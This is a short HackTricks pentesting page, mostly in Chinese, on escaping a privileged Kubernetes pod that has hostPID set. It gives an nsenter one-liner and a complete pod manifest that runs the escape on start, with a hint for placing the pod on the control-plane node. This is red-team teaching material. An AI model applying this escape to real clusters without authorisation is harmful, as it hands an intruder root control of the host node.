Pod Escape Privileges

学习并练习AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习并练习GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

特权和hostPID

拥有这些权限将使您能够访问主机进程并具有足够的权限进入其中一个主机进程的命名空间。 请注意,您可能不需要特权,只需一些功能和其他潜在的防御绕过(如apparmor和/或seccomp)。

只需执行类似以下内容的命令即可从pod中逃逸:

nsenter --target 1 --mount --uts --ipc --net --pid -- bash

配置示例:

apiVersion: v1
kind: Pod
metadata:
name: priv-and-hostpid-exec-pod
labels:
app: pentest
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name

学习并练习AWS Hacking:HackTricks 培训 AWS 红队专家 (ARTE) 学习并练习GCP Hacking: HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

Last updated